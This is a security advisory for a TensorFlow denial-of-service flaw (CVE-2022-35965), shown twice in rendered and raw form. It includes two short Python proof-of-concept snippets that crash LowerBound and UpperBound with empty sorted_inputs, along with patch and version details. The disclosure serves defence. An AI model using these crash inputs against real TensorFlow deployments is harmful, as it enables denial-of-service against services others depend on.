Advisoriesby IbisTensorFlow vulnerable to segfault in `LowerBound` and `UpperBound`
Impact
If LowerBound or UpperBound is given an emptysorted_inputs input, it results in a nullptr dereference, leading to a segfault that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
out_type = tf.int32
sorted_inputs = tf.constant([], shape=[10,0], dtype=tf.float32)
values = tf.constant([], shape=[10,10,0,10,0], dtype=tf.float32)
tf.raw_ops.LowerBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type)
`
```python
import tensorflow as tf
out_type = tf.int64
sorted_inputs = tf.constant([], shape=[2,2,0,0,0,0,0,2], dtype=tf.float32)
values = tf.constant(0.372660398, shape=[2,4], dtype=tf.float32)
tf.raw_ops.UpperBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type)
`
Patches
We have patched the issue in GitHub commit [bce3717eaef4f769019fd18e990464ca4a2efeea](https://github.com/tensorflow/tensorflow/commit/bce3717eaef4f769019fd18e990464ca4a2efeea).
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
Attribution
This...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| tensorflow PyPI | < 2.7.2 | 2.7.2 |
| >= 2.8.0, < 2.8.1 | 2.8.1 | |
| >= 2.9.0, < 2.9.1 | 2.9.1 |
Details and references
### Impact If `LowerBound` or `UpperBound` is given an empty`sorted_inputs` input, it results in a `nullptr` dereference, leading to a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf out_type = tf.int32 sorted_inputs = tf.constant([], shape=[10,0], dtype=tf.float32) values = tf.constant([], shape=[10,10,0,10,0], dtype=tf.float32) tf.raw_ops.LowerBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type) ``` ```python import tensorflow as tf out_type = tf.int64 sorted_inputs = tf.constant([], shape=[2,2,0,0,0,0,0,2], dtype=tf.float32) values = tf.constant(0.372660398, shape=[2,4], dtype=tf.float32) tf.raw_ops.UpperBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type) ``` ### Patches We have patched the issue in GitHub commit [bce3717eaef4f769019fd18e990464ca4a2efeea](https://github.com/tensorflow/tensorflow/commit/bce3717eaef4f769019fd18e990464ca4a2efeea). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
- CVSS 3.1
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-476
- Also known as
- BIT-tensorflow-2022-35965, CVE-2022-35965, PYSEC-2026-1030, PYSEC-2026-3233, PYSEC-2026-3363
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